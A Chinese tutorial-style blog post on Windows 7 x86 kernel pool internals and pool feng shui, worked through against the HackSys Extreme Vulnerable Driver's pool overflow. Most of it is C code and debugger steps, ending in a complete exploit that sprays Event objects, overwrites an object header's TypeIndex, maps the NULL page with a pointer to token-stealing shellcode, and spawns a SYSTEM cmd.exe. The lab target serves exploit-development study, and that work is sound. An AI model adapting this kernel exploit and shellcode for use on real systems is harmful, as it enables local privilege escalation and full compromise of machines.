标题https://www.anquanke.com/post/id/86380
原文 只不过手动做了实验 侵权就删 奥里给 反正也没人看
Windows规定有些虚拟内存页面是可以交换到文件中的,这类内存被称为分页内存。而有些虚拟内存永远不会交换到文件中,这些内存被称为非分页内存。当程序的中断请求级在DISPATCH_LEVEL之上(包括DISPATCH_LEVEL层),程序只能使用非分页内存,否则将导致蓝屏死机。
非分页池由保证总是存储在物理内存中的内存组成,而分页池中分配的内存可以被分页。这是必需的,因为某些内核结构需要在高于可满足缺页中断的IRQL可访问。有关IRQL的更多详细信息以及各级别支持的操作,请参阅“管理硬件优先级”。
这意味着非分页池用于存储进程、线程、信号量等关键控制结构。而分页池用于存储文件映射、对象句柄等。分页池实际上由几个单独的池组成,而在Windows 7中,只有一个非分页池。
在内核开发中,分配内存一般都是调用ExAllocatePoolWithTag来申请堆内存
PVOID ExA1locatePoolWithTag(
_In POOL_TYPE PoolType,
InSIZE_T NumberOfBytes,
In ULONGTag
);
//申请内存类型
enum _POOL_TYPE
{
NonPagedPool = 0,
PagedPool = 1,
NonPagedPoolMustSucceed = 2,
DontUseThisType = 3,
NonPagedPoolCacheAligned = 4,
PagedPoolCacheAligned = 5,
NonPagedPoolCacheAlignedMustS = 6,
MaxPoolType = 7,
NonPagedPoolSession = 32,
PagedPoolSession = 33,
NonPagedPoolMustSucceedSession = 34,
DontUseThisTypeSession = 35,
NonPagedPoolCacheAlignedSession = 36,
PagedPoolCacheAlignedSession = 37,
NonPagedPoolCacheAlignedMustSSession = 38
};
对应释放内存函数ExFreePoolWithTag
VOID ExFreePoolWithTag(
_In_PVOID P,
In_ULONG Tag
在利用堆溢出漏洞 往往关键的一步就是利用最后ExFreePoolWithTag进行堆块合并覆盖堆块堆头(类似0day安全堆溢出那样),
块大小应等于下一个池对象头中的上一个大小字段,如果不是,则内存已损坏,BugCheck被触发。当覆盖这个结构时,我们需要确保用正确的值覆盖块大小,否则会蓝屏。
Windows内核堆风水
为了执行内核池风水,我们需要在正确类型的池中分配对象(用来占坑),及哪些是对我们有用的大小。我们知道,关键的内核数据结构(如信号量)存储在非分页池
编译以下代码在win7上x32执行,环境不同大小也会不一样
#include<Windows.h>
#include<stdio.h>
typedef struct _UNICODE_STRING
{
WORD Length;
WORD MaximunmLength;
WORD* Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES
{
ULONG Length; //0x0
VOID* RootDirectory; //0x4
struct _UNICODE_STRING* ObjectName; //0x8
ULONG Attributes; //0xc
VOID* SecurityDescriptor; //0x10
VOID* SecurityQualityOfService; //0x14
}BJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
#define I0C0 1
typedef NTSTATUS(_stdcall* NtAllocateReserveObject_t)(
OUT PHANDLE hObject,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN DWORD ObjectType
);
int main()
{
LPCWSTR nt = L"ntdll";
HMODULE hntdll = GetModuleHandle(nt);
if (hntdll == NULL) {
printf("Couldn't load ntdl1, how is computer running?:0x%X\n", GetLastError());
return 1;
}
NtAllocateReserveObject_t NtAllocateReserveObject =
(NtAllocateReserveObject_t)GetProcAddress(hntdll, "NtAllocateReserveObject");
if (NtAllocateReserveObject == NULL) {
printf("Couldn't get a reference to NtAllocateReserveObject in ntdll?!:0x % X\n",GetLastError());
return 1;
}
printf("NonPaged Pool objects:\r\n");
HANDLE IoCompletionReserve = NULL;
NtAllocateReserveObject(&IoCompletionReserve, 0, I0C0);
printf("IoCompletionReserve对象句柄:0x%x\r\n", IoCompletionReserve);
HANDLE event = CreateEvent(0, false, false, TEXT(""));
printf("事件对象句柄:0x%x\r\n", event);
HANDLE semaphore = CreateSemaphore(0, 0, 1, TEXT(""));
printf("信号量对象句柄:0x%x\r\n", semaphore);
HANDLE mutex = CreateMutex(0, false, TEXT(""));
printf("互斥体对象句柄:0x%x\r\n", mutex);
getchar();
DebugBreak();
return 0;
}
上面代码编译后 运行你会得到如下结果
然后按回车,内核调试器应该中断,一旦我们知道对象地址,输入!handle 对应对象句柄即可查看详细信息 比如这是查看IoCompletionReserve对象
然后可以使用!pool命令查找其池详细信息。作为其第二个参数解析2意味着其只显示我们感兴趣的确切分配,删除2将显示内存页内的周围分配。
由此我们可以知道IoCompletionReserve对象大小为0x60 继续按照此方法获得其他对象大小
得到结果
事件大小:0x40
信号大小:0x48
互斥体大小:0x50
还有一种内核对象是0xA0大小,详情请看我WindowsUAF漏洞的分析https://blog.csdn.net/qq_43045569/article/details/106334785
现在我们尝试使用Event对象进行池修饰,这些对象为我们提供了一个空闲和分配的0x40字节池块的模式。
因为分配器开始在空闲页上分配内存之前通过查找空闲块为对象分配内存,因此我们需要先填充现有的0x40字节空闲块。
比如下面的代码将分配五个事件对象。
#include<stdio.h>
#include<Windows.h>
#define DEFRAG_EVENT_COUINT 5
int main()
{
HANDLE hDefragEvents[DEFRAG_EVENT_COUINT] = { 0x0 };
for (unsigned int i = 0; i < DEFRAG_EVENT_COUINT; i++) {
HANDLE hEvent = CreateEvent(0, false, false, TEXT(""));
if (hEvent == NULL) {
printf("Failed to create groom event 0x%X:0x%X\r\n", i, GetLastError());
return -1;
}
hDefragEvents[i] = hEvent;
}
printf("Last 5 Event handles:\r\n");
for (unsigned int i = 0; i < 5; i++) {
unsigned int index = DEFRAG_EVENT_COUINT - i-1;
printf("\t Event handle %d:0x%X\n", index, hDefragEvents[index]);
}
getchar();
__debugbreak();
for (unsigned int i = 0; i < DEFRAG_EVENT_COUINT; i++){
HANDLE hEvent = hDefragEvents[i];
if (!CloseHandle(hEvent)) {
printf("Tailed to remove defrag event object 0x%X:0x%X\r\n", hEvent, GetLastError());
return -1;
}
}
return 0;
}
现在,如果我们构建这个代码并回车后,使用附带的内核调试器会中断,我们可以看到五个事件对象的句柄。
检查windbg中的最后两个句柄发现其没有被分配到彼此接近之处。
进一步查看分配了倒数第二个Event对象的页面的池信息后发现,其刚好被放置在两个随机对象之间的第一个可用间隙中。
但是,如果我们将上面代码DEFRAG_EVENT_COUNT增加到更大的数,结果大不相同。
#define DEFRAG_EVENT_COUINT 20000
按回车后再次再查看句柄
检查windbg中的句柄可以看到,其被连续分配在内存中。
现在我们要在受控大小的地址空间中创建“孔”。此时我们知道,分配的任何更多事件对象将大部分被连续分配,所以,通过分配大量对象,然后间隔释放,我们应该得到一个空闲和分配对象的模式。
代码示例
#include<stdio.h>
#include<Windows.h>
int main()
{
HANDLE hDefragEventsa[5000] = { 0x00 };
for (unsigned int i = 0; i < 5000; i++) {
HANDLE hEvent = CreateEvent(0, false, false, TEXT(""));
if (hEvent == 0) {
printf("Failed to create groom event 0x%X:0x%X\r\n", i, GetLastError());
return 1;
}
hDefragEventsa[i] = hEvent;
}
for (unsigned int i = 0; i < 5000; i += 2) {
HANDLE hEvent = hDefragEventsa[i];
if (!CloseHandle(hEvent)) {
printf("Tailed to remove defrag event object 0x%X:0x%X\r\n", hEvent, GetLastError());
return -1;
}
}
printf("Example Event handle:0x%X\r\n", hDefragEventsa[4443]);
getchar();
__debugbreak();
for (unsigned int i = 1; i < 5000; i += 2) {
HANDLE hEvent = hDefragEventsa[i];
if (!CloseHandle(hEvent)) {
printf("Tailed to remove defrag event object 0x%X:0x%X\r\n", hEvent, GetLastError());
return -1;
}
}
return 0;
}
输入回车windbg断下
知道分配地址后,我们可以再次查看其分配的页的池布局。此处我们可以看到,我们已经成功地创建了一个空闲和分配的事件对象的模式。
如果对于UAF漏洞利用无法找到相同大小的相应内核对象的对象/分配,我们可以使用分割大小的对象的多个副本,或尝试更精细的东西。
为了利用UAF,我们需要以下几点:
一种创建对象的方式
一种释放对象的方式
一种替换其的方法
一种导致替换对象作为原始对象被引用的方式
一个有漏洞的驱动实战
漏洞驱动地址:https://github.com/hacksysteam/HackSysExtremeVulnerableDriver
安装该驱动然后启动驱动 接着打开cmd
输入
verifier /volatile /flags Oxl /adddriver HackSysExt HEVD.sys
你会看到如下结果
在特殊池 情况下 这意味着由驱动程序所作的所有分配被放置在尽可能靠近内存页末尾处,后续和之前页面被标记为不可访问。这意味着,如果驱动程序尝试在分配结束后访问内存,将会触发错误。此外,页面上未使用的内存用特殊模式标记,因此如果这些内存损坏,则该内存释放后可检测到错误。
此外,特殊池将标记其释放的内存,并尽可能长时间地避免重新分配该内存。如果释放的内存被引用,其将触发错误。这会对驱动程序产生巨大的性能影响,因此其只在调试内存问题时启用。
在特殊池为启用状态下,我们可以为此漏洞创建一个简单的崩溃概念证明。下面的代码将创建UAF对象、释放该对象,然后导致其被引用。如果驱动程序引用释放的内存,这应该因特殊池调试功能而触发蓝屏。
拖进ida 在对应处理消息找到控制码
溢出点
构造poc
#include <windows.h>
#include <stdio.h>
int main() {
HANDLE hDriver = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
DWORD dwBytesOut = 0;
LPVOID lpFakeBuffer = malloc(10000);
memset(lpFakeBuffer, 0x41, 10000);
if (hDriver == INVALID_HANDLE_VALUE) {
printf("[!] Unable to get a handle on the device\n");
return(-1);
}
ULONG dw;
DeviceIoControl(hDriver, 0x22200F, lpFakeBuffer, 10000, 0, 0, &dw, NULL);
return 0;
}
然后编译后运行操作系统崩溃
通过打印信息可以发现 堆溢出了
!analyze -v 可以得出堆的块首已经被覆盖
有了崩溃后,我们需要用可让我们在引用时实现代码执行的东西代替对象使用的内存。通常,我们必须寻找一个适当的对象,让我们获得一个我们可以用于提升我们的权限。。
我们现在需要了解内核池分配的情况,所以我们需要在拷贝函数执行之前下断点观察,我们把 buf 设为 0x1F8 大小 并对该处理函数下断点
#include <windows.h>
#include <stdio.h>
int main() {
HANDLE hDriver = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
DWORD dwBytesOut = 0;
LPVOID lpFakeBuffer = malloc(10000);
memset(lpFakeBuffer, 0x41, 10000);
if (hDriver == INVALID_HANDLE_VALUE) {
printf("[!] Unable to get a handle on the device\n");
return(-1);
}
ULONG dw;
DeviceIoControl(hDriver, 0x22200F, lpFakeBuffer, 0x1f8, 0, 0, &dw, NULL);
return 0;
}
编译运行后 内核调试器应该断在我们刚刚下的断点
再次寻找断点,应该断在memcpy之前
现在我们来对此处下断 断下后然后查看ebx(堆)
我们查看我们申请到池的末尾,0x41414141之后就是下一个池的池首,我们待会主要的目的就是修改下一个池首的内容,从而运行我们shellcode
与UAF利用一样,我们需要能确保我们的内存在分配时位置正确。在这种情况下,我们要确保另一个对象在内存中紧随其后。这一次,我们分配的内存大小为0x200字节(0x1F8 + 8字节header),Reserve对象分配总大小为60个字节,这太小,并清楚地分开了我们想使其不切实际的数量,但是,我们之前看过的Event对象是0x40字节的分配。这种分配到是理想的,我们构造如下代码测试。
#include <windows.h>
#include <stdio.h>
int main() {
HANDLE spray_event[0x8000];
HANDLE hDriver = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
DWORD dwBytesOut = 0;
LPVOID lpFakeBuffer = malloc(10000);
memset(lpFakeBuffer, 0x41, 10000);
if (hDriver == INVALID_HANDLE_VALUE) {
printf("[!] Unable to get a handle on the device\n");
return(-1);
}
ULONG dw;
for (int i = 0; i < 0x8000; i++)
spray_event[i] = CreateEventA(NULL, FALSE, FALSE, NULL);
DeviceIoControl(hDriver, 0x22200F, lpFakeBuffer, 0x1f8, 0, 0, &dw, NULL);
return 0;
}
再次查看
为了修整堆,这次我们再次使用Event对象对其进行碎片整理,然后我们将分配大量连续的Event对象,并释放它们。我们用CloseHandle函数释放一些对象,发现可以在Event中间留出一些我们可以操控的空间,我们需要更多的空间
#include <windows.h>
#include <stdio.h>
int main() {
HANDLE spray_event[0x10000];
HANDLE hDriver = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
DWORD dwBytesOut = 0;
LPVOID lpFakeBuffer = malloc(0x1f8);
memset(lpFakeBuffer, 0x41, 0x1f8);
if (hDriver == INVALID_HANDLE_VALUE) {
printf("[!] Unable to get a handle on the device\n");
return(-1);
}
ULONG dw;
for (int i = 0; i < 0x10000; i++)
spray_event[i] = CreateEvent(NULL, FALSE, FALSE, TEXT(""));
for (int i = 0; i < 0x10000; i += 0x10) {
for (int j = 0; j < 8; j++)
{
// 0x40 * 8 = 0x200
HANDLE temp = spray_event[i + j];
CloseHandle(temp);
}
}
DeviceIoControl(hDriver, 0x22200F, lpFakeBuffer, 0x1f8, 0, 0, &dw, NULL);
return 0;
}
运行后再次查看
现在我们可以可靠地覆盖一个Event对象的header,我们需要实际覆盖一些东西。我将使用两种不同的方法,一种是最初在“Windows 7 内核池利用”中讨论的,另一种是在“纯数据Pwning微软Windows内核:微软Windows 8.1内核池溢出利用”中讨论的。首先,我将使用Object Type索引覆盖技术。
寻找我们要覆盖的结构
后面要用 0来覆盖下标
根据下标获得对象类型的结构_OBJECT_TYPE
里面会有我们感兴趣的
所以我们肯定有正确的对象类型,进一步查看结构后我们看到TypeInfo字段,在windbg中更仔细检查该字段后发现了一系列很好的函数指针。
我们的最后目的是把CloseProcedure字段覆盖为指向shellcode的指针。通过回看可以看到, ObTypeIndexTable的第一个条目是一个NULL指针,所以我们用0覆盖OBJECT_HEADER中的TypeIndex字段,然后,当内核尝试执行时,内核应该尝试从NULL页面读取函数指针。因为我们是在Windows 7 32位上执行此操作,所以我们可以分配NULL页,从而可以控制内核执行跳转到的位置,这样我们便可使用shellcode来提升我们的权限。
现在我们要覆盖TypeIndex字段,保持缓冲区末尾和和Event对象之间的所有其他字段不变。我们从增加我们之前使用的InBuffer的大小开始。额外的0x28字节将覆盖POOL_HEADER(0x8字节)、OBJECT_HEADER_QUOTA_INFO(0x10字节)及OBJECT_HEADER,直到并包括TypeIndex(0x10字节)。
首先,我们使用之前看到的默认值覆盖POOL_HEADER和OBJECT_HEADER_QUOTA_INFO结构。
最后,我们覆盖了OBJECT_HEADER结构,主要使用其默认值,TypeIndex值设置为0
#include <windows.h>
#include <stdio.h>
int main() {
HANDLE spray_event[0x10000];
HANDLE hDriver = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
DWORD dwBytesOut = 0;
int PoolSize = 0x1f8;
char buf[0x500]{};
memset(buf, 0x41, PoolSize);
*(DWORD*)(buf + PoolSize + 0x00) = 0x04080040;
*(DWORD*)(buf + PoolSize + 0x04) = 0xee657645;
*(DWORD*)(buf + PoolSize + 0x08) = 0x00000000;
*(DWORD*)(buf + PoolSize + 0x0c) = 0x00000040;
*(DWORD*)(buf + PoolSize + 0x10) = 0x00000000;
*(DWORD*)(buf + PoolSize + 0x14) = 0x00000000;
*(DWORD*)(buf + PoolSize + 0x18) = 0x00000001;
*(DWORD*)(buf + PoolSize + 0x1c) = 0x00000001;
*(DWORD*)(buf + PoolSize + 0x20) = 0x00000000;
*(DWORD*)(buf + PoolSize + 0x24) = 0x00080000;
if (hDriver == INVALID_HANDLE_VALUE) {
printf("[!] Unable to get a handle on the device\n");
return(-1);
}
ULONG dw;
for (int i = 0; i < 0x10000; i++)
spray_event[i] = CreateEvent(NULL, FALSE, FALSE, TEXT(""));
for (int i = 0; i < 0x10000; i += 0x10) {
for (int j = 0; j < 8; j++)
{
// 0x40 * 8 = 0x200
HANDLE temp = spray_event[i + j];
CloseHandle(temp);
}
}
DeviceIoControl(hDriver, 0x22200F, buf, 0x1f8+0x28, 0, 0, &dw, NULL);
return 0;
}
现在让我们运行代码(确保特殊池已禁用),我们应该会得到因内核尝试在地址0x0处访问OBJECT_TYPE结构而导致的崩溃。我立即在我附带的调试器中获得了一个BugCheck,在发生异常的时候查看指令和寄存器,我们看到的正是我们所希望的。
现在我们只需要使用与之前使用的相同的方法分配NULL页,并设置一个函数指针偏移量,以指向我们的令牌窃取shellcode。成功分配NULL页后,我们只需要放置一个指向我们的shellcode的指针,以代替其中一个函数指针。
exp如下
#include <windows.h>
#include <stdio.h>
typedef NTSTATUS
(WINAPI* My_NtAllocateVirtualMemory)(
IN HANDLE ProcessHandle,
IN OUT PVOID* BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG RegionSize,
IN ULONG AllocationType,
IN ULONG Protect
);
My_NtAllocateVirtualMemory NtAllocateVirtualMemory = NULL;
static VOID ShellCode()
{
_asm
{
//int 3
pop edi
pop esi
pop ebx
pushad
mov eax, fs: [124h] // Find the _KTHREAD structure for the current thread
mov eax, [eax + 0x50] // Find the _EPROCESS structure
mov ecx, eax
mov edx, 4 // edx = system PID(4)
// The loop is to get the _EPROCESS of the system
find_sys_pid :
mov eax, [eax + 0xb8] // Find the process activity list
sub eax, 0xb8 // List traversal
cmp[eax + 0xb4], edx // Determine whether it is SYSTEM based on PID
jnz find_sys_pid
// Replace the Token
mov edx, [eax + 0xf8]
mov[ecx + 0xf8], edx
popad
//int 3
ret
}
}
int main() {
HANDLE spray_event[0x10000];
HANDLE hDriver = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
DWORD dwBytesOut = 0;
int PoolSize = 0x1f8;
char buf[0x500]{};
memset(buf, 0x41, PoolSize);
*(DWORD*)(buf + PoolSize + 0x00) = 0x04080040;
*(DWORD*)(buf + PoolSize + 0x04) = 0xee657645;
/**8c145180 size : 200 previous size : 40 (Allocated)*Hack
Owning component : Unknown(update pooltag.txt)
8c145380 size : 40 previous size : 200 (Allocated)Even(Protected)*/
/*kd > dt nt!_POOL_HEADER 8c145380 // 8c145380是事件对象地址
+ 0x000 PreviousSize : 0y001000000(0x40)
+ 0x000 PoolIndex : 0y0000000(0)
+ 0x002 BlockSize : 0y000001000(0x8)
+ 0x002 PoolType : 0y0000010(0x2)
+ 0x000 Ulong1 : 0x4080040
+ 0x004 PoolTag : 0xee657645
+ 0x004 AllocatorBackTraceIndex : 0x7645
+ 0x006 PoolTagHash : 0xee65*/
*(DWORD*)(buf + PoolSize + 0x08) = 0x00000000;
*(DWORD*)(buf + PoolSize + 0x0c) = 0x00000040;
*(DWORD*)(buf + PoolSize + 0x10) = 0x00000000;
*(DWORD*)(buf + PoolSize + 0x14) = 0x00000000;
//kd > dt nt!_OBJECT_HEADER_QUOTA_INFO 8c145380 + 8
// + 0x000 PagedPoolCharge : 0
// + 0x004 NonPagedPoolCharge : 0x40
// + 0x008 SecurityDescriptorCharge : 0
// + 0x00c SecurityDescriptorQuotaBlock : (null)
*(DWORD*)(buf + PoolSize + 0x18) = 0x00000001;
*(DWORD*)(buf + PoolSize + 0x1c) = 0x00000001;
*(DWORD*)(buf + PoolSize + 0x20) = 0x00000000;
*(DWORD*)(buf + PoolSize + 0x24) = 0x00080000;//TypeIndex=0
/*kd > dt nt!_OBJECT_HEADER 8c145380 + 18
+ 0x000 PointerCount : 0n1
+ 0x004 HandleCount : 0n1
+ 0x004 NextToFree : 0x00000001 Void
+ 0x008 Lock : _EX_PUSH_LOCK
+ 0x00c TypeIndex : 0xc ''
+ 0x00d TraceFlags : 0 ''
+ 0x00e InfoMask : 0x8 ''
+ 0x00f Flags : 0 ''
+ 0x010 ObjectCreateInfo : 0x8d187640 _OBJECT_CREATE_INFORMATION
+ 0x010 QuotaBlockCharged : 0x8d187640 Void
+ 0x014 SecurityDescriptor : (null)
+0x018 Body : _QUAD*/
if (hDriver == INVALID_HANDLE_VALUE) {
printf("[!] Unable to get a handle on the device\n");
return(-1);
}
ULONG dw;
for (int i = 0; i < 0x10000; i++)
spray_event[i] = CreateEvent(NULL, FALSE, FALSE, TEXT(""));
for (int i = 0; i < 0x10000; i += 0x10) {
for (int j = 0; j < 8; j++)
{
// 0x40 * 8 = 0x200
HANDLE temp = spray_event[i + j];
CloseHandle(temp);
}
}
PVOID Zero_addr = (PVOID)1;
SIZE_T RegionSize = 0x1000;
*(FARPROC*)&NtAllocateVirtualMemory = GetProcAddress(
GetModuleHandleW(L"ntdll"),
"NtAllocateVirtualMemory");
if (NtAllocateVirtualMemory == NULL)
{
printf("[+]Failed to get function NtAllocateVirtualMemory!!!\n");
system("pause");
return 0;
}
NtAllocateVirtualMemory(
INVALID_HANDLE_VALUE,
&Zero_addr,
0,
&RegionSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE);
*(DWORD*)(0x60) = (DWORD)&ShellCode;//OBJECT_TYPE_INITIALIZER
//+0x038 CloseProcedure:(null)
DeviceIoControl(hDriver, 0x22200F, buf, 0x1f8+0x28, 0, 0, &dw, NULL);
for (int i = 0; i < 0x10000; i++)
{
if (spray_event[i]) CloseHandle(spray_event[i]);
}
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
DebugBreak();
return 0;
}
弹出cmd输入whoami
提权成功
未完待续